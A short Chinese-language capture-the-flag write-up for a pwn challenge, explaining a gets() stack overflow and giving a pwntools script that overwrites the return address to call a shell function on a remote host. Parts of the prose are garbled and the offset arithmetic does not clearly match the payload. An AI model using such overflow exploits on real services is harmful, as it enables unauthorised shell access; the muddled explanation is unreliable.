FLAG位置未知中。根据标题名称大概猜出这个标题的是提示不要再使用gets这种不安全的输入函数。
好像是一个输入暗码的程序，啊这，管你这哪的，先看看有没有对输入举行限定，一看溢出，没有保护，那完了。
使用了gets()函数：
用nm查察程序信息
nm:
由以上两张图可知返回地点在rsp中，rdi（x86中，函数参数一般按照rdi,rsi,rdx,rcx,r8,r9通报，RX不够时再压栈）中是函数参数，即s2的地点，由于之前通过IDA得知它的内存大小是0x50，所以我们从rdi的地点开始写入0x50的数据还要写(0x90-0x38-0x50)=0x08B的数据，那么开始构造payload，写exploit.py
(6)构造payload
- from pwn import *
- context(os='linux',arch='amd64',log_level='debug')
- # p = process('./lockedshell') # 本地测试
- p = remote('IP',PORT) # 远程,IP,PORT填上的即可
- address = 0x401176 + 1
- payload = b'A' * (0x50 + 8) # 0x50 + 0x8
- payload += p64(address)
- p.sendlineafter('.\n',payload)
- p.interactive()
成功调用my_shell。标题将exploit.py脚本中process改成IP，端口就行,flag就在当前目录。